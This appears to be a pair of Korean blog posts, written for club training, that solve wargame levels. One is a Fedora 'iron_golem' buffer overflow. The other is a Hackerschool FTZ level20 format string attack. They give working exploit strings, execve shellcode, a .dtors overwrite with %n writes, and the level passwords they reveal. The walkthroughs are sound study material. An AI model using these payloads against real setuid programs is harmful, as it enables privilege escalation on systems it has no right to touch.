old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++


이 내용을 텍스트 파일로 저장하고 헥사 값으로 열어보자. 


[gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'` 2> res00.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
[gate@Fedora_1stFloor ~]$xxd res00.txt

execve 가 호출된 부분만을 보면 아래와 같다. 

[gate@Fedora_1stFloor ~]$ xxd res00.txt  | grep cve
0000000: 6578 6563 7665 2822 2e2f 6972 6f6e 5f67  execve("./iron_g
0000760: 7865 6376 6528 223c ed83 222c 205b 305d  xecve("<..", [0]
[gate@Fedora_1stFloor ~]$


0x22 가 " 를 의미하는 헥사 코드 이므로 그 사이에 있는 3c ed 83  헥사 코드가 인자 값으로 들어가 있는 부분이다.

이를 다시 심볼릭 링크걸어보고 공격해 보자. 


[gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x3c\xed\x83"'`

[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz

[501]

sh-3.00$ id

uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$

sh-3.00$ my-pass
euid = 501
blood on the fedora
sh-3.00$



















Posted by k1rha
2012.04.01 16:15

동아리 교육용으로 만들다가 포스팅 해봅니다. 

Hackerschool FTZ level20

Passwd: we are just regular guys

[level20@localhost level20]$ ls -l

합계 24

-rwsr-sr-x 1 clear clear 11777 6¿ù 18 2008 attackme

-rw-r----- 1 root level20 133 5¿ù 13 2002 hint

drwxr-xr-x 2 root level20 4096 2¿ù 24 2002 public_html

drwxrwxr-x 2 root level20 4096 2¿ù 17 10:56 tmp

[level20@localhost level20]$ cat hint

 

#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

setreuid(3101,3101);

fgets(bleh,79,stdin);

printf(bleh);

}

 

[level20@localhost level20]$

 


Bleh 80바이트 만큼 잡혀있고 표준 입출력(stdin)으로 79바이트 만큼 받아내므로 지금까지 해왔던 Overflow 를 발생 시키는 부분은 없다.

이 문제에서 다른 문제와 좀 다른 부분이 있다면 printf 의 사용법은 우리가 보통 어떠한 값으로 출력해 줄지 포멧을 정하고 그에 맞는 변수를 넣어 출력 시켜 주었지만, 이번의 경우는 char 변수를 그냥 대입하므로 출력 시켜 주었다.


그럼에도 불과 하고 잘 출력이 된다.

이제부터 언급할 부분은 이러한 부분을 이용하는 Formet String Bug 라는 공격 기법이다.

이 공격 기법에 대한 언급은 별도의 부록에서 다루도록 하겠다.

디버깅을 시도해보자.

위와같이 main 함수가 사라져 있는 것을 볼수 있고 대신 그위치에 start_main의 심볼이 있다.

그것을 열어보면 다른 함수들을 호출 한다. 이러한 경우는 정상적으로 gdb 만으로 분석하기가 힘들어 진다. 때문에 올리 디버거를 이용하여 좀 이용해보도록하자.

바이너리코드를 복사하여 자신의 서버에 옴기는 부록을 참조하여 해당파일을 자신의 컴퓨터로 옴겨 IDA로 연다. 하지만 역시나 스트립된 파일이기 때문에, 우리는 hex-ray를 통한 정확한 파일 복구를 할 수가 없다.

이때 중요한 심볼부분이 start 부분이다.



위 그림에서보면 start라는 심볼을 들어가보도록 하자.

아래쪽을 보면 __libc_start_main 바로 위에 주소가 메인이다.

더블클릭을 하여 들어간뒤 rename 을 해주도록 하자그리고 hey-ray를 이용하여(F5) 코드를 복구하면 다음과 같은 코드를 얻을 수 있다.

위처럼 코드가 나온다.

포멧스트링 버그가 있는 부분도 나오고, stdin 으로 정확히 출력된 값도 나온다.

 우선 메모리 구조를 보면

[  printf  ] [ bleh ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

^(esp)

Printf로 표준 입출력이 생길 때 esp printf 의 시작지 점인 곳에 위치하게 된다.

이때 메모리 주소값을 16진수로 출력시켜 보자.

[level20@ftz level20]$ ls

attackme  hint  public_html  tmp

[level20@ftz level20]$ ./attackme

aaaa%x

aaaa4f

[level20@ftz level20]$

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x%x

aaaa4f4015246040098500

[level20@ftz level20]$ ./attackme

aaaa%x%x%x%x%x

aaaa4f40152460400985006161616178257825

[level20@ftz level20]$ ./attackme

 

여기서 aaaa 3개를 입력하고 난뒤의 4F stdin의 크기이다. 0x4f 79이므로 79개만큼 출력한다는 뜻이다. 그리고나서 뒤에 40152460 40098500 가 존재하고 뒤부터 0x61616161이 반복되는데 이것은 우리가 입력하였던 AAAA 가 존재한다. 그 뒤에 40152460 40098500 을 알아보기 위해 임의의 프로그램 하나를 제작해보자.

그냥 단순히 printf를 출력하는 구문이면 충분하다.

[level20@ftz tmp]$ make test

cc     test.c   -o test

./t[level20@ftz tmp]$

[level20@ftz tmp]$

[level20@ftz tmp]$ ./test

a[level20@ftz tmp]$

[level20@ftz tmp]$ gdb test

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0x8,%esp

0x0804832e <main+6>:    and    $0xfffffff0,%esp

0x08048331 <main+9>:    mov    $0x0,%eax

0x08048336 <main+14>:   sub    %eax,%esp

0x08048338 <main+16>:   sub    $0xc,%esp

0x0804833b <main+19>:   push   $0x80483f8

0x08048340 <main+24>:   call   0x8048268 <printf>

0x08048345 <main+29>:   add    $0x10,%esp

0x08048348 <main+32>:   leave

0x08048349 <main+33>:   ret

0x0804834a <main+34>:   nop

0x0804834b <main+35>:   nop

End of assembler dump.

(gdb) b main+33

Junk at end of arguments.

(gdb) b *main+33

Breakpoint 1 at 0x8048349

(gdb) r

Starting program: /home/level20/tmp/test

 

Breakpoint 1, 0x08048349 in main ()

(gdb) x/x 40152460

0x264ad8c:      Cannot access memory at address 0x264ad8c

(gdb) x/x 0x40152460

0x40152460 <_IO_2_1_stdin_>:    0xfbad2088

(gdb) x/x 0x40098500

0x40098500 <strrchr>:   0xc0315657

(gdb)

아래부분을 보면 0x40152460 stdin 을 나타내는 주소이고 0x40098500 strrchr에 관련된 함수이다. 이제 어떤것을 의미하는지 알았으니 메모리 구조를 다시 보도록하자.

Aaaa 를 하고 %x 를 출력시키면 메모리 구조는 아래와 같다

 

[  printf  ][ stdin ][ strrchr ][ bleh  ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

                             AAAA%x(이부분에서 printf 부분 다음 부분의 주소값부터 출력)

위 처럼 표현 될 수 있다.

 

 

PART 2  Format String Attack theory.

부록으로 뺄지 말지 고민중

시스템해킹의 특징은 자신이 원하는 메모리 주소에 자신이 원하는 값을 넣어서 원하는 위치에 도달하게 하는 공격이라는 것이다.

포멧스트링 역시 원하는 메모리 위치에 원하는 값을 넣는 것이 목적이 된다.

우선 기본적으로 사람 들이 알고 있는 서식 %d %lf %s %c 같은 부분은 생략하고 남들이 잘 활용하지 않는 %n 에 대해서 설명해 보겠다.  %n %n이 나오기 전에 출력된 자리수를 계산하여 스택의 다음 4바이트에 있는 내용을  주소로 여기고 그 주소에 계산한 자리수, ,숫자를 입력한다.

만약 AAAA%n을 넣었다고 하면 0x41414141 4라는 숫자를 넣게 된다.

[printf ] [ buff ] [sfp][ret]

        Aaaa%n(printf를 호출하면서 buffer의 시작 주소의 값을 가리킨다.)

 

자 이제 우리가 자주사용하던 %c 를 이용하여 숫자도 조절해보자, %c 란 값은 CPU에 상관없이 1byte의 문자이다. 그리고 %100c 하면 100개의 문자열이므로 100이된다. 포멧스트링공격의 관점에서보면 %100c%n 을하면 100이라는 숫자를 넣는다는 이론이 된다.

우리는 이제 원하는 메모리주소 0x41414141(AAAA)에 원하는 값 %100c 를 넣을 수 있게 된다는 이론이 된다.

 

공격함에 앞서 포멧스트링에서 신경써야할 문제점 3가지에 대해서 언급 해보 도록 하겠다.

첫번째 문제는 이 %c로 크기를 조절해 준다고 하여도 %c라는서식문자가 포함되어 있기 때문에 출력 시킬 메모리주소 4byte도 포함되어야 한다.

두번째 문제는 쉘코드 주소를 입력 할때도 10진수로 바꿔서 입력하여아 한다. 하지만 정수를 이용해서 0xffffffff 같은 큰 숫자를 지정해 줄수 없다. 때문에 쉘코드 주소를 2바이트씩 나누어서 입력하는 방법을 택해야 한다.

예를들면 쉘코드 주소가 0xbffffab8 이라면 bfff(64184) fab8(49151)로 나누어서 각자 10진수로 바꿔 입력해야한다.

만약 ret주소가 0x08049594 라면 0x08049594 2byte(fab8)을 입력하고 이제 2바이트 증가한 0x08049596 에 나머지 2byte(bfff)을 입력하는 방식으로 하는 것이다.

 

마지막 세번째 문제는 메모리를 출력시키는 부분까지 서식문자를 %x를 통하여 bleh까지 주소 값을 옮겨야 한다는 것이다.

 

이제 공격을 시도해보겠다.

첫번째는 디버깅이 안되는 (strip)된 상태에서 return address 를 찾아주는 일이다.

우리는 .dtors 라는 것에 대해 공부할 필요가 있다프로그램이 시작할때는 .ctors 라는 것을 거치고 프로그램이 종료될 시에는 .dtors 라는 것을 거친다. 이는 프롤로그와 에필로그를 담당 하는 부분이다.

Objdump를 이용하여 .dtors 부분을 ret 주소처럼 사용 해보자.

[level20@localhost level20]$ objdump -h attackme | grep .dtors

18 .dtors 00000008 08049594 08049594 00000594 2**2

[level20@localhost level20]$

 

 0x08049594 이 .dtors 를 호출하는 부분이므로 4바이트 뒷부분에 덮어  씌워서 시작하자마자 실행될 수 있도록 하면 된다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

원래 쉘코드의 주소값을 10진수로 바꾸면 64184와 49151이다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것이다.

50503은 역시 원래 49151(bfff)인데. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 되고 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 한다.

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 된다.

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


 

[level20@localhost level20]$ export a=`perl -e 'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

[level20@localhost level20]$ cd tmp

[level20@localhost tmp]$ cat > getshell.c

#include<stdio.h>

 

int main(int argc,char **argv){

 

printf("%x\n",getenv(argv[1]));

 

return 0;

}

 

[level20@localhost tmp]$ gcc -o getshell getshell.c

[level20@localhost tmp]$ ./getshell a

bffffe31

[level20@localhost tmp]$

 

 

[level20@localhost level20]$ (perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65045c%n%49602c%n"';cat) | ./attackme

 

id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.

 

clear Password is "i will come in a minute".

웹에서 등록하세요.

 

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찾사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다


그림을 잘 보면 위에 수많은 놉코드로 인하여 공백이 생긴뒤 명령어가 실행되고 있다는 것을 볼 수 있다.

 

 




Posted by k1rha